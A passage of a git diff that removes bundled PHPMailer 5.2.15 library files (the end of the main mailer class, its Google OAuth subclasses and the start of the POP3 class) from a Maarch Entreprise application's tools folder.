string. - * Changes every end of line from CRLF, CR or LF to $this->LE. - * @access public - * @param string $str String to fixEOL - * @return string - */ - public function fixEOL($str) - { - // Normalise to \n - $nstr = str_replace(array("\r\n", "\r"), "\n", $str); - // Now convert LE as needed - if ($this->LE !== "\n") { - $nstr = str_replace("\n", $this->LE, $nstr); - } - return $nstr; - } - - /** - * Add a custom header. - * $name value can be overloaded to contain - * both header name and value (name:value) - * @access public - * @param string $name Custom header name - * @param string $value Header value - * @return void - */ - public function addCustomHeader($name, $value = null) - { - if ($value === null) { - // Value passed in as name:value - $this->CustomHeader[] = explode(':', $name, 2); - } else { - $this->CustomHeader[] = array($name, $value); - } - } - - /** - * Returns all custom headers. - * @return array - */ - public function getCustomHeaders() - { - return $this->CustomHeader; - } - - /** - * Create a message from an HTML string. - * Automatically makes modifications for inline images and backgrounds - * and creates a plain-text version by converting the HTML. - * Overwrites any existing values in $this->Body and $this->AltBody - * @access public - * @param string $message HTML message string - * @param string $basedir baseline directory for path - * @param boolean|callable $advanced Whether to use the internal HTML to text converter - * or your own custom converter @see PHPMailer::html2text() - * @return string $message - */ - public function msgHTML($message, $basedir = '', $advanced = false) - { - preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images); - if (array_key_exists(2, $images)) { - foreach ($images[2] as $imgindex => $url) { - // Convert data URIs into embedded images - if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) { - $data = substr($url, strpos($url, ',')); - if ($match[2]) { - $data = base64_decode($data); - } else { - $data = rawurldecode($data); - } - $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 - if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) { - $message = str_replace( - $images[0][$imgindex], - $images[1][$imgindex] . '="cid:' . $cid . '"', - $message - ); - } - } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[a-z][a-z0-9+.-]*://#i', $url)) { - // Do not change urls for absolute images (thanks to corvuscorax) - // Do not change urls that are already inline images - $filename = basename($url); - $directory = dirname($url); - if ($directory == '.') { - $directory = ''; - } - $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2 - if (strlen($basedir) > 1 && substr($basedir, -1) != '/') { - $basedir .= '/'; - } - if (strlen($directory) > 1 && substr($directory, -1) != '/') { - $directory .= '/'; - } - if ($this->addEmbeddedImage( - $basedir . $directory . $filename, - $cid, - $filename, - 'base64', - self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)) - ) - ) { - $message = preg_replace( - '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', - $images[1][$imgindex] . '="cid:' . $cid . '"', - $message - ); - } - } - } - } - $this->isHTML(true); - // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better - $this->Body = $this->normalizeBreaks($message); - $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced)); - if (!$this->alternativeExists()) { - $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . - self::CRLF . self::CRLF; - } - return $this->Body; - } - - /** - * Convert an HTML string into plain text. - * This is used by msgHTML(). - * Note - older versions of this function used a bundled advanced converter - * which was been removed for license reasons in #232 - * Example usage: - * <code> - * // Use default conversion - * $plain = $mail->html2text($html); - * // Use your own custom converter - * $plain = $mail->html2text($html, function($html) { - * $converter = new MyHtml2text($html); - * return $converter->get_text(); - * }); - * </code> - * @param string $html The HTML text to convert - * @param boolean|callable $advanced Any boolean value to use the internal converter, - * or provide your own callable for custom conversion. - * @return string - */ - public function html2text($html, $advanced = false) - { - if (is_callable($advanced)) { - return call_user_func($advanced, $html); - } - return html_entity_decode( - trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), - ENT_QUOTES, - $this->CharSet - ); - } - - /** - * Get the MIME type for a file extension. - * @param string $ext File extension - * @access public - * @return string MIME type of file. - * @static - */ - public static function _mime_types($ext = '') - { - $mimes = array( - 'xl' => 'application/excel', - 'js' => 'application/javascript', - 'hqx' => 'application/mac-binhex40', - 'cpt' => 'application/mac-compactpro', - 'bin' => 'application/macbinary', - 'doc' => 'application/msword', - 'word' => 'application/msword', - 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', - 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', - 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', - 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', - 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', - 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', - 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', - 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', - 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', - 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', - 'class' => 'application/octet-stream', - 'dll' => 'application/octet-stream', - 'dms' => 'application/octet-stream', - 'exe' => 'application/octet-stream', - 'lha' => 'application/octet-stream', - 'lzh' => 'application/octet-stream', - 'psd' => 'application/octet-stream', - 'sea' => 'application/octet-stream', - 'so' => 'application/octet-stream', - 'oda' => 'application/oda', - 'pdf' => 'application/pdf', - 'ai' => 'application/postscript', - 'eps' => 'application/postscript', - 'ps' => 'application/postscript', - 'smi' => 'application/smil', - 'smil' => 'application/smil', - 'mif' => 'application/vnd.mif', - 'xls' => 'application/vnd.ms-excel', - 'ppt' => 'application/vnd.ms-powerpoint', - 'wbxml' => 'application/vnd.wap.wbxml', - 'wmlc' => 'application/vnd.wap.wmlc', - 'dcr' => 'application/x-director', - 'dir' => 'application/x-director', - 'dxr' => 'application/x-director', - 'dvi' => 'application/x-dvi', - 'gtar' => 'application/x-gtar', - 'php3' => 'application/x-httpd-php', - 'php4' => 'application/x-httpd-php', - 'php' => 'application/x-httpd-php', - 'phtml' => 'application/x-httpd-php', - 'phps' => 'application/x-httpd-php-source', - 'swf' => 'application/x-shockwave-flash', - 'sit' => 'application/x-stuffit', - 'tar' => 'application/x-tar', - 'tgz' => 'application/x-tar', - 'xht' => 'application/xhtml+xml', - 'xhtml' => 'application/xhtml+xml', - 'zip' => 'application/zip', - 'mid' => 'audio/midi', - 'midi' => 'audio/midi', - 'mp2' => 'audio/mpeg', - 'mp3' => 'audio/mpeg', - 'mpga' => 'audio/mpeg', - 'aif' => 'audio/x-aiff', - 'aifc' => 'audio/x-aiff', - 'aiff' => 'audio/x-aiff', - 'ram' => 'audio/x-pn-realaudio', - 'rm' => 'audio/x-pn-realaudio', - 'rpm' => 'audio/x-pn-realaudio-plugin', - 'ra' => 'audio/x-realaudio', - 'wav' => 'audio/x-wav', - 'bmp' => 'image/bmp', - 'gif' => 'image/gif', - 'jpeg' => 'image/jpeg', - 'jpe' => 'image/jpeg', - 'jpg' => 'image/jpeg', - 'png' => 'image/png', - 'tiff' => 'image/tiff', - 'tif' => 'image/tiff', - 'eml' => 'message/rfc822', - 'css' => 'text/css', - 'html' => 'text/html', - 'htm' => 'text/html', - 'shtml' => 'text/html', - 'log' => 'text/plain', - 'text' => 'text/plain', - 'txt' => 'text/plain', - 'rtx' => 'text/richtext', - 'rtf' => 'text/rtf', - 'vcf' => 'text/vcard', - 'vcard' => 'text/vcard', - 'xml' => 'text/xml', - 'xsl' => 'text/xml', - 'mpeg' => 'video/mpeg', - 'mpe' => 'video/mpeg', - 'mpg' => 'video/mpeg', - 'mov' => 'video/quicktime', - 'qt' => 'video/quicktime', - 'rv' => 'video/vnd.rn-realvideo', - 'avi' => 'video/x-msvideo', - 'movie' => 'video/x-sgi-movie' - ); - if (array_key_exists(strtolower($ext), $mimes)) { - return $mimes[strtolower($ext)]; - } - return 'application/octet-stream'; - } - - /** - * Map a file name to a MIME type. - * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. - * @param string $filename A file name or full path, does not need to exist as a file - * @return string - * @static - */ - public static function filenameToType($filename) - { - // In case the path is a URL, strip any query string before getting extension - $qpos = strpos($filename, '?'); - if (false !== $qpos) { - $filename = substr($filename, 0, $qpos); - } - $pathinfo = self::mb_pathinfo($filename); - return self::_mime_types($pathinfo['extension']); - } - - /** - * Multi-byte-safe pathinfo replacement. - * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe. - * Works similarly to the one in PHP >= 5.2.0 - * @link http://www.php.net/manual/en/function.pathinfo.php#107461 - * @param string $path A filename or path, does not need to exist as a file - * @param integer|string $options Either a PATHINFO_* constant, - * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2 - * @return string|array - * @static - */ - public static function mb_pathinfo($path, $options = null) - { - $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => ''); - $pathinfo = array(); - if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) { - if (array_key_exists(1, $pathinfo)) { - $ret['dirname'] = $pathinfo[1]; - } - if (array_key_exists(2, $pathinfo)) { - $ret['basename'] = $pathinfo[2]; - } - if (array_key_exists(5, $pathinfo)) { - $ret['extension'] = $pathinfo[5]; - } - if (array_key_exists(3, $pathinfo)) { - $ret['filename'] = $pathinfo[3]; - } - } - switch ($options) { - case PATHINFO_DIRNAME: - case 'dirname': - return $ret['dirname']; - case PATHINFO_BASENAME: - case 'basename': - return $ret['basename']; - case PATHINFO_EXTENSION: - case 'extension': - return $ret['extension']; - case PATHINFO_FILENAME: - case 'filename': - return $ret['filename']; - default: - return $ret; - } - } - - /** - * Set or reset instance properties. - * You should avoid this function - it's more verbose, less efficient, more error-prone and - * harder to debug than setting properties directly. - * Usage Example: - * `$mail->set('SMTPSecure', 'tls');` - * is the same as: - * `$mail->SMTPSecure = 'tls';` - * @access public - * @param string $name The property name to set - * @param mixed $value The value to set the property to - * @return boolean - * @TODO Should this not be using the __set() magic function? - */ - public function set($name, $value = '') - { - if (property_exists($this, $name)) { - $this->$name = $value; - return true; - } else { - $this->setError($this->lang('variable_set') . $name); - return false; - } - } - - /** - * Strip newlines to prevent header injection. - * @access public - * @param string $str - * @return string - */ - public function secureHeader($str) - { - return trim(str_replace(array("\r", "\n"), '', $str)); - } - - /** - * Normalize line breaks in a string. - * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. - * Defaults to CRLF (for message bodies) and preserves consecutive breaks. - * @param string $text - * @param string $breaktype What kind of line break to use, defaults to CRLF - * @return string - * @access public - * @static - */ - public static function normalizeBreaks($text, $breaktype = "\r\n") - { - return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text); - } - - /** - * Set the public and private key files and password for S/MIME signing. - * @access public - * @param string $cert_filename - * @param string $key_filename - * @param string $key_pass Password for private key - * @param string $extracerts_filename Optional path to chain certificate - */ - public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') - { - $this->sign_cert_file = $cert_filename; - $this->sign_key_file = $key_filename; - $this->sign_key_pass = $key_pass; - $this->sign_extracerts_file = $extracerts_filename; - } - - /** - * Quoted-Printable-encode a DKIM header. - * @access public - * @param string $txt - * @return string - */ - public function DKIM_QP($txt) - { - $line = ''; - for ($i = 0; $i < strlen($txt); $i++) { - $ord = ord($txt[$i]); - if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { - $line .= $txt[$i]; - } else { - $line .= '=' . sprintf('%02X', $ord); - } - } - return $line; - } - - /** - * Generate a DKIM signature. - * @access public - * @param string $signHeader - * @throws phpmailerException - * @return string - */ - public function DKIM_Sign($signHeader) - { - if (!defined('PKCS7_TEXT')) { - if ($this->exceptions) { - throw new phpmailerException($this->lang('extension_missing') . 'openssl'); - } - return ''; - } - $privKeyStr = file_get_contents($this->DKIM_private); - if ($this->DKIM_passphrase != '') { - $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); - } else { - $privKey = openssl_pkey_get_private($privKeyStr); - } - if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { //sha1WithRSAEncryption - openssl_pkey_free($privKey); - return base64_encode($signature); - } - openssl_pkey_free($privKey); - return ''; - } - - /** - * Generate a DKIM canonicalization header. - * @access public - * @param string $signHeader Header - * @return string - */ - public function DKIM_HeaderC($signHeader) - { - $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader); - $lines = explode("\r\n", $signHeader); - foreach ($lines as $key => $line) { - list($heading, $value) = explode(':', $line, 2); - $heading = strtolower($heading); - $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces - $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value - } - $signHeader = implode("\r\n", $lines); - return $signHeader; - } - - /** - * Generate a DKIM canonicalization body. - * @access public - * @param string $body Message Body - * @return string - */ - public function DKIM_BodyC($body) - { - if ($body == '') { - return "\r\n"; - } - // stabilize line endings - $body = str_replace("\r\n", "\n", $body); - $body = str_replace("\n", "\r\n", $body); - // END stabilize line endings - while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") { - $body = substr($body, 0, strlen($body) - 2); - } - return $body; - } - - /** - * Create the DKIM header and body in a new message header. - * @access public - * @param string $headers_line Header lines - * @param string $subject Subject - * @param string $body Body - * @return string - */ - public function DKIM_Add($headers_line, $subject, $body) - { - $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms - $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body - $DKIMquery = 'dns/txt'; // Query method - $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone) - $subject_header = "Subject: $subject"; - $headers = explode($this->LE, $headers_line); - $from_header = ''; - $to_header = ''; - $date_header = ''; - $current = ''; - foreach ($headers as $header) { - if (strpos($header, 'From:') === 0) { - $from_header = $header; - $current = 'from_header'; - } elseif (strpos($header, 'To:') === 0) { - $to_header = $header; - $current = 'to_header'; - } elseif (strpos($header, 'Date:') === 0) { - $date_header = $header; - $current = 'date_header'; - } else { - if (!empty($$current) && strpos($header, ' =?') === 0) { - $$current .= $header; - } else { - $current = ''; - } - } - } - $from = str_replace('|', '=7C', $this->DKIM_QP($from_header)); - $to = str_replace('|', '=7C', $this->DKIM_QP($to_header)); - $date = str_replace('|', '=7C', $this->DKIM_QP($date_header)); - $subject = str_replace( - '|', - '=7C', - $this->DKIM_QP($subject_header) - ); // Copied header fields (dkim-quoted-printable) - $body = $this->DKIM_BodyC($body); - $DKIMlen = strlen($body); // Length of body - $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body - if ('' == $this->DKIM_identity) { - $ident = ''; - } else { - $ident = ' i=' . $this->DKIM_identity . ';'; - } - $dkimhdrs = 'DKIM-Signature: v=1; a=' . - $DKIMsignatureType . '; q=' . - $DKIMquery . '; l=' . - $DKIMlen . '; s=' . - $this->DKIM_selector . - ";\r\n" . - "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" . - "\th=From:To:Date:Subject;\r\n" . - "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" . - "\tz=$from\r\n" . - "\t|$to\r\n" . - "\t|$date\r\n" . - "\t|$subject;\r\n" . - "\tbh=" . $DKIMb64 . ";\r\n" . - "\tb="; - $toSign = $this->DKIM_HeaderC( - $from_header . "\r\n" . - $to_header . "\r\n" . - $date_header . "\r\n" . - $subject_header . "\r\n" . - $dkimhdrs - ); - $signed = $this->DKIM_Sign($toSign); - return $dkimhdrs . $signed . "\r\n"; - } - - /** - * Detect if a string contains a line longer than the maximum line length allowed. - * @param string $str - * @return boolean - * @static - */ - public static function hasLineLongerThanMax($str) - { - //+2 to include CRLF line break for a 1000 total - return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str); - } - - /** - * Allows for public read access to 'to' property. - * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. - * @access public - * @return array - */ - public function getToAddresses() - { - return $this->to; - } - - /** - * Allows for public read access to 'cc' property. - * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. - * @access public - * @return array - */ - public function getCcAddresses() - { - return $this->cc; - } - - /** - * Allows for public read access to 'bcc' property. - * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. - * @access public - * @return array - */ - public function getBccAddresses() - { - return $this->bcc; - } - - /** - * Allows for public read access to 'ReplyTo' property. - * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. - * @access public - * @return array - */ - public function getReplyToAddresses() - { - return $this->ReplyTo; - } - - /** - * Allows for public read access to 'all_recipients' property. - * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included. - * @access public - * @return array - */ - public function getAllRecipientAddresses() - { - return $this->all_recipients; - } - - /** - * Perform a callback. - * @param boolean $isSent - * @param array $to - * @param array $cc - * @param array $bcc - * @param string $subject - * @param string $body - * @param string $from - */ - protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) - { - if (!empty($this->action_function) && is_callable($this->action_function)) { - $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); - call_user_func_array($this->action_function, $params); - } - } -} - -/** - * PHPMailer exception handler - * @package PHPMailer - */ -class phpmailerException extends Exception -{ - /** - * Prettify error message output - * @return string - */ - public function errorMessage() - { - $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n"; - return $errorMsg; - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauth.php b/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauth.php deleted file mode 100755 index f9cd7b42a560849ef697a415f456dda2ad547674..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauth.php +++ /dev/null @@ -1,196 +0,0 @@ -<?php -/** - * PHPMailer - PHP email creation and transport class. - * PHP Version 5.4 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailerOAuth - PHPMailer subclass adding OAuth support. - * @package PHPMailer - * @author @sherryl4george - * @author Marcus Bointon (@Synchro) <phpmailer@synchromedia.co.uk> - */ -class PHPMailerOAuth extends PHPMailer -{ - /** - * The OAuth user's email address - * @var string - */ - public $oauthUserEmail = ''; - - /** - * The OAuth refresh token - * @var string - */ - public $oauthRefreshToken = ''; - - /** - * The OAuth client ID - * @var string - */ - public $oauthClientId = ''; - - /** - * The OAuth client secret - * @var string - */ - public $oauthClientSecret = ''; - - /** - * An instance of the PHPMailerOAuthGoogle class. - * @var PHPMailerOAuthGoogle - * @access protected - */ - protected $oauth = null; - - /** - * Get a PHPMailerOAuthGoogle instance to use. - * @return PHPMailerOAuthGoogle - */ - public function getOAUTHInstance() - { - if (!is_object($this->oauth)) { - $this->oauth = new PHPMailerOAuthGoogle( - $this->oauthUserEmail, - $this->oauthClientSecret, - $this->oauthClientId, - $this->oauthRefreshToken - ); - } - return $this->oauth; - } - - /** - * Initiate a connection to an SMTP server. - * Overrides the original smtpConnect method to add support for OAuth. - * @param array $options An array of options compatible with stream_context_create() - * @uses SMTP - * @access public - * @return bool - */ - public function smtpConnect($options = array()) - { - if (is_null($this->smtp)) { - $this->smtp = $this->getSMTPInstance(); - } - - if (is_null($this->oauth)) { - $this->oauth = $this->getOAUTHInstance(); - } - - // Already connected? - if ($this->smtp->connected()) { - return true; - } - - $this->smtp->setTimeout($this->Timeout); - $this->smtp->setDebugLevel($this->SMTPDebug); - $this->smtp->setDebugOutput($this->Debugoutput); - $this->smtp->setVerp($this->do_verp); - $hosts = explode(';', $this->Host); - $lastexception = null; - - foreach ($hosts as $hostentry) { - $hostinfo = array(); - if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { - // Not a valid host entry - continue; - } - // $hostinfo[2]: optional ssl or tls prefix - // $hostinfo[3]: the hostname - // $hostinfo[4]: optional port number - // The host string prefix can temporarily override the current setting for SMTPSecure - // If it's not specified, the default value is used - $prefix = ''; - $secure = $this->SMTPSecure; - $tls = ($this->SMTPSecure == 'tls'); - if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { - $prefix = 'ssl://'; - $tls = false; // Can't have SSL and TLS at the same time - $secure = 'ssl'; - } elseif ($hostinfo[2] == 'tls') { - $tls = true; - // tls doesn't use a prefix - $secure = 'tls'; - } - //Do we need the OpenSSL extension? - $sslext = defined('OPENSSL_ALGO_SHA1'); - if ('tls' === $secure or 'ssl' === $secure) { - //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled - if (!$sslext) { - throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); - } - } - $host = $hostinfo[3]; - $port = $this->Port; - $tport = (integer)$hostinfo[4]; - if ($tport > 0 and $tport < 65536) { - $port = $tport; - } - if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { - try { - if ($this->Helo) { - $hello = $this->Helo; - } else { - $hello = $this->serverHostname(); - } - $this->smtp->hello($hello); - //Automatically enable TLS encryption if: - // * it's not disabled - // * we have openssl extension - // * we are not already using SSL - // * the server offers STARTTLS - if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { - $tls = true; - } - if ($tls) { - if (!$this->smtp->startTLS()) { - throw new phpmailerException($this->lang('connect_host')); - } - // We must resend HELO after tls negotiation - $this->smtp->hello($hello); - } - if ($this->SMTPAuth) { - if (!$this->smtp->authenticate( - $this->Username, - $this->Password, - $this->AuthType, - $this->Realm, - $this->Workstation, - $this->oauth - ) - ) { - throw new phpmailerException($this->lang('authenticate')); - } - } - return true; - } catch (phpmailerException $exc) { - $lastexception = $exc; - $this->edebug($exc->getMessage()); - // We must have connected, but then failed TLS or Auth, so close connection nicely - $this->smtp->quit(); - } - } - } - // If we get here, all connection attempts have failed, so close connection hard - $this->smtp->close(); - // As we've caught all exceptions, just report whatever the last one was - if ($this->exceptions and !is_null($lastexception)) { - throw $lastexception; - } - return false; - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauthgoogle.php b/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauthgoogle.php deleted file mode 100755 index 71c9bd32ff6af42b3ae22483989c987d7be24d01..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/class.phpmaileroauthgoogle.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php -/** - * PHPMailer - PHP email creation and transport class. - * PHP Version 5.4 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailerOAuthGoogle - Wrapper for League OAuth2 Google provider. - * @package PHPMailer - * @author @sherryl4george - * @author Marcus Bointon (@Synchro) <phpmailer@synchromedia.co.uk> - * @link https://github.com/thephpleague/oauth2-client - */ -class PHPMailerOAuthGoogle -{ - private $oauthUserEmail = ''; - private $oauthRefreshToken = ''; - private $oauthClientId = ''; - private $oauthClientSecret = ''; - - /** - * @param string $UserEmail - * @param string $ClientSecret - * @param string $ClientId - * @param string $RefreshToken - */ - public function __construct( - $UserEmail, - $ClientSecret, - $ClientId, - $RefreshToken - ) { - $this->oauthClientId = $ClientId; - $this->oauthClientSecret = $ClientSecret; - $this->oauthRefreshToken = $RefreshToken; - $this->oauthUserEmail = $UserEmail; - } - - private function getProvider() - { - return new League\OAuth2\Client\Provider\Google([ - 'clientId' => $this->oauthClientId, - 'clientSecret' => $this->oauthClientSecret - ]); - } - - private function getGrant() - { - return new \League\OAuth2\Client\Grant\RefreshToken(); - } - - private function getToken() - { - $provider = $this->getProvider(); - $grant = $this->getGrant(); - return $provider->getAccessToken($grant, ['refresh_token' => $this->oauthRefreshToken]); - } - - public function getOauth64() - { - $token = $this->getToken(); - return base64_encode("user=" . $this->oauthUserEmail . "\001auth=Bearer " . $token . "\001\001"); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/class.pop3.php b/apps/maarch_entreprise/tools/PHPMailer/class.pop3.php deleted file mode 100755 index 9b68bfa6b6ec9007775b2cd02c3e8b8e38e6ad11..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/class.pop3.php +++ /dev/null @@ -1,407 +0,0 @@ -<?php -/** - * PHPMailer POP-Before-SMTP Authentication Class. - * PHP Version 5 - * @package PHPMailer - * @link https://github.com/PHPMailer/PHPMailer/ - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - * @author Brent R. Matzelle (original founder) - * @copyright 2012 - 2014 Marcus Bointon - * @copyright 2010 - 2012 Jim Jagielski - * @copyright 2004 - 2009 Andy Prevost - * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License - * @note This program is distributed in the hope that it will be useful - WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. - */ - -/** - * PHPMailer POP-Before-SMTP Authentication Class. - * Specifically for PHPMailer to use for RFC1939 POP-before-SMTP authentication. - * Does not support APOP. - * @package PHPMailer - * @author Richard Davey (original author) <rich@corephp.co.uk> - * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> - * @author Jim Jagielski (jimjag) <jimjag@gmail.com> - * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> - */ -class POP3 -{ - /** - * The POP3 PHPMailer Version number. - * @var string - * @access public - */ - public $Version = '5.2.15'; - - /** - * Default POP3 port number. - * @var integer - * @access public - */ - public $POP3_PORT = 110; - - /** - * Default timeout in seconds. - * @var integer - * @access public - */ - public $POP3_TIMEOUT = 30; - - /** - * POP3 Carriage Return + Line Feed. - * @var string - * @access public - * @deprecated Use the constant instead - */ - public $CRLF = "\r\n"; - - /** - * Debug display level. - * Options: 0 = no, 1+ = yes - * @var integer - * @access public - */ - public $do_debug = 0; - - /** - * POP3 mail server hostname. - * @var string - * @access public - */ - public $host; - - /** - * POP3 port number. - * @var integer - * @access public - */ - public $port; - - /** - * POP3 Timeout Value in seconds. - * @var integer - * @access public - */ - public $tval; - - /** - * POP3 username - * @var string - * @access public - */ - public $username; - - /** - * POP3 password. - * @var string - * @access public - */ - public $password; - - /** - * Resource handle for the POP3 connection socket. - * @var resource - * @access protected - */ - protected $pop_conn; - - /** - * Are we connected? - * @var boolean - * @access protected - */ - protected $connected = false; - - /** - * Error container. - * @var array - * @access protected - */ - protected $errors = array(); - - /** - * Line break constant - */ - const CRLF = "\r\n"; - - /** - * Simple static wrapper for all-in-one POP before SMTP - * @param $host - * @param integer|boolean $port The port number to connect to - * @param integer|boolean $timeout The timeout value - * @param string $username - * @param string $password - * @param integer $debug_level - * @return boolean - */ - public static function popBeforeSmtp( - $host, - $port = false, - $timeout = false, - $username = '', - $password = '', - $debug_level = 0 - ) { - $pop = new POP3; - return $pop->authorise($host, $port, $timeout, $username, $password, $debug_level); - } - - /** - * Authenticate with a POP3 server. - * A connect, login, disconnect sequence - * appropriate for POP-before SMTP authorisation. - * @access public - * @param string $host The hostname to connect to - * @param integer|boolean $port The port number to connect to - * @param integer|boolean $timeout The timeout value - * @param string $username - * @param string $password - * @param integer $debug_level - * @return boolean - */ - public function authorise($host, $port = false, $timeout = false, $username = '', $password = '', $debug_level = 0) - { - $this->host = $host; - // If no port value provided, use default - if (false === $port) { - $this->port = $this->POP3_PORT; - } else { - $this->port = (integer)$port; - } - // If no timeout value provided, use default - if (false === $timeout) { - $this->tval = $this->POP3_TIMEOUT; - } else { - $this->tval = (integer)$timeout; - } - $this->do_debug = $debug_level; - $this->username = $username; - $this->password = $password; - // Reset the error log - $this->errors = array(); - // connect - $result = $this->connect($this->host, $this->port, $this->tval); - if ($result) { - $login_result = $this->login($this->username, $this->password); - if ($login_result) { - $this->disconnect(); - return true; - } - } - // We need to disconnect regardless of whether the login succeeded - $this->disconnect(); - return false; - } - - /** - * Connect to a POP3 server. - * @access public - * @param string $host - * @param integer|boolean $port - * @param integer $tval - * @return boolean - */ - public function connect($host, $port = false, $tval = 30) - { - // Are we already connected? - if ($this->connected) { - return true; - } - - //On Windows this will raise a PHP Warning error if the hostname doesn't exist. - //Rather than suppress it with @fsockopen, capture it cleanly instead - set_error_handler(array($this, 'catchWarning')); - - if (false === $port) { - $port = 